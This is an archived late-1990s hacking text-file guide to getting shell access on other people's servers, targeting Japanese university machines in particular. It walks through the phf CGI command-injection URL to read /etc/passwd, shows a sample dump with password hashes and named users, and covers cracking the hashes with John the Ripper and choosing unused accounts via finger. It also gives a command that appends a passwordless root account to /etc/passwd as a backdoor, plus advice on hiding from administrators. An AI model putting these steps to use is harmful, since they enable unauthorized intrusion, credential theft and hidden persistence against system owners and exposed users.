home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / shellin24hours.txt < prev    next >
Text File  |  1998-03-25  |  8KB  |  190 lines

  1.                           _________  ___  _______      
  2.    \~=._      _.=~/      /   _____/ |   | \      \       \~=._      _.=~/ 
  3.     \   ~=__=~   /       \_____  \  |   | /   |   \       \   ~=__=~   /
  4.      \_.=~  ~=._/        /        \ |   |/    |    \       \_.=~  ~=._/ 
  5.  _.=~ \        / ~=._   /_______  / |___|\____|__  /    .=~ \        / ~=.
  6. L------\------/------7          \/               \/   L------\------/------7
  7.         \    /                                                \    / 
  8.          \  /             http://www.sinnerz.com               \  /   
  9.           \/                                                    \/
  10.     
  11.  
  12.  *******************************************************************        
  13.  * Have a shell in 24hours after reading this, or your money back. *
  14.  *******************************************************************
  15.  
  16.  
  17. A Darkfool Text- member of SIN http://www.sinnerz.com
  18.                Infected http://www.infected.org
  19.  
  20.  
  21. I have read many a hacking e-zines, and 'how to hack' documents before. They
  22. are ok, interesting etc.  but they always show you how to get root through a
  23. shell, what people seem to forget is the fact that you have to actually get
  24. the password before you can use a shell to an account. You might be lucky
  25. and find that l:guest p:guest will work. In this text I will show you how
  26. easy hacking is ( on old deformed systems ) and how you can get a shell of
  27. some sort in 24 hours after reading this. I am not going to go on to explain
  28. how to get root after getting a shell as there are 1000's of texts and C
  29. programs which explain this.
  30.  
  31. OK, the very first thing you need to do is to have a WWW browser, a telnet
  32. program, john the ripper kracker program ( i recommend ) and a good
  33. dictionary file.
  34.  
  35. WWW Browser - Netrape or MSIE are fine
  36. Telnet Program - One which lets you set which port you want to connect to 
  37. John The Ripper - Will be at http://www.sinnerz.com/darkfool 
  38. Dictionary File - Found at many hacking web sites. Do a search for one
  39.  
  40.  
  41.  
  42. Ok, every net user/wanna be hacker will have most of those programs and if
  43. ya don't there really easy to get a hold of.
  44.  
  45. OK, now I am going to tell you something about Japan. They make your stero,
  46. they made the bits inside your computer, they made your car, they made
  47. everything electronic around you, you have their eyes at the end of your
  48. nob, but they are rubbish at one thing, the internet and security. The
  49. honestly don't know anything about internet security, I have rooted or got
  50. shells on many a japanese servers. These are my favourite systems to attack
  51. because they are soooooo easy. I am also told that Australian servers are
  52. very easy too, some Berkeley UNiversity machines are very easy to krack too.
  53.  
  54. Next thing you got to do is fire up your WWW browser. Goto AltaVista
  55. http://www.alta-vista.digital.com if you don't know already this is a search
  56. engine which has some very nice advance features.
  57.  
  58. Once here in the search field box type this  url:ac.jp and press search,
  59. this looks for all URL's with ac.jp in.  This is academic places in Japan,
  60. similar to the US which has .edu instead. You will be presented with a load
  61. of web pages which text you probably can't read because its all in some
  62. funny language. More importantly is the URL which they point out, for
  63. example, www.mo.cs.rekimoko.ac.jp    , notice the ac.jp at the end of it.
  64. Click on the link to the site ( longer server urls are easier to break into
  65. BTW ). When the URL appears on the WWW browser box at the top of the screen
  66. add this line to the end of it.
  67.  
  68. /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  69.  
  70. or
  71.  
  72. /cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  73.  
  74. i.e
  75. http://www.mo.cs.rekimoko.ac.jp/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  76.  
  77.  
  78. To all you 313375 out there, yes, i know this is the phf technique and it is
  79. virtually dead, but you'll be surpised where you can use this.
  80.  
  81. This technique of finding the password file to the system is old, it was
  82. first used in November 1996 on the FBI web page by a few hackers. It has
  83. been patched up by a lot of servers, so this won't work on www.nasa.gov or
  84. most of www.*.com  but still works on many University servers outside of EU
  85. and US.
  86.  
  87. Ok, once the URL has been entered you will see a number or things :-
  88.  
  89. Error 404
  90.  
  91. /cgi-bin/phf is not found on this server
  92.  
  93. OR
  94.  
  95. WARNING
  96.  
  97. You do not have permission to view /cgi-bin/phf/ on this server
  98.  
  99.  
  100. There are a number of other things the server might say, but the thing you
  101. want it to say is the following :-
  102.  
  103. /cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  104.  
  105. root:2fkbNba29uWys:0:1:Operator:/:/bin/csh
  106. www-admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh
  107. kangaroo:3A62i9qr.YmO.:1012:10:Hisaharu
  108. TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh
  109. maemae:dvUMqNmeeENFs:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh
  110. watanaby:ewF90K0gwXVD6:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh
  111. kake:kFph8HEM/aaAA:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh
  112.  
  113. etc.......
  114.  
  115.  
  116. This means you have hit the jackpot ! 
  117.  
  118. If you get something similar to this but all lines have something similar to
  119. the following :-
  120.  
  121. root:*:0:1:Operator:/:/bin/csh
  122. www-admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh
  123. kangaroo:*:1012:10:Hisaharu  TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh
  124. maemae:*:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh
  125. watanaby:*:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh
  126. kake:*:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh
  127.  
  128. ( notice the * )  if you don't know already this means its shadowed and you
  129. cannot work out the password using a shadowed file.
  130.  
  131. If some but not all of the logins have * in them its ok, its worthwhile
  132. getting the ones which aren't shadowed, hey, a shell is a shell !
  133.  
  134. Get all the lines which aren't shadowed and then paste them into notepad,
  135. write the name of the server in the top line of the file and save it.
  136.  
  137. Ok now for the next bit, this is fairly simple but can be a lengthy process
  138. depending upon which speed machine you have and how big your password file
  139. is and dictionary file. Use john the ripper or whatever password cracker you
  140. are using, although i recommend john the ripper because its quick. This will
  141. probably take a long time so go to the pub or have a drive or something....... 
  142.  
  143. If you are lucky enough to work out the passwords to the logins then well
  144. done, if you don't, them find another server or increase the size of your
  145. dictionary file, make it as big as you can, the bigger the better, the more
  146. luck you will have in finding the password.
  147.  
  148. OK, you got some passwords to a few logins, if you got root them jump around
  149. the room with joy ( I do ). If you didn't then, well, atleast you got
  150. yourself some shells. Now, if you want to keep these shells without anyone
  151. knowing then your best bet is to telnet to the site at port 79, you will
  152. have a blank prompt, here type in the username of the account you cracked,
  153. it will tell you the last time they logged in, do this for all the accounts,
  154. use the account which isn't used very much, the best ones are the ones which
  155. say ' User Never Logged On ' because then the account is basically yours !
  156.  
  157.  
  158. { Note: If you get root type the following at the shell prompt :-
  159.  
  160. echo "myserver::0:0:Test User:/:/bin/csh" >> \etc\passwd
  161.  
  162. This wil allow you to login to the server with l:myserver so you don't get
  163. admin suspicous when they see people login in as root. }  
  164.  
  165.  
  166. Hide yourself as much as possible, if you already have a shell then go
  167. through that first when logging on, or, telnet to the hacked shell and then
  168. re-telnet to the hacked shell using the hacked shell, if you see what I
  169. mean, so your who appears as localhost. Get some C scripts which delete your
  170. presence etc...
  171.  
  172. Thats it, if there's demand to explain this in further detail then please
  173. e-mail me telling me you want a follow up, I don't do personal help so don't
  174. e-mail me asking for help PLEASE DON'T !
  175.  
  176. Thats it.....
  177.  
  178. " Stay cool and be somebodys darkfool this year "
  179.  
  180. Saying a quick hello to #prophet undernet. Visit me on #sin.
  181.  
  182. I am at http://www.sinnerz.com/darkfool 
  183.     darkfool@sinnerz.com
  184.  
  185. and also a lot of japanese servers ;)
  186.  
  187. --
  188.  " Stay Cool and be somebody's Darkfool "
  189.        http://sinnerz.com/darkfool
  190. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-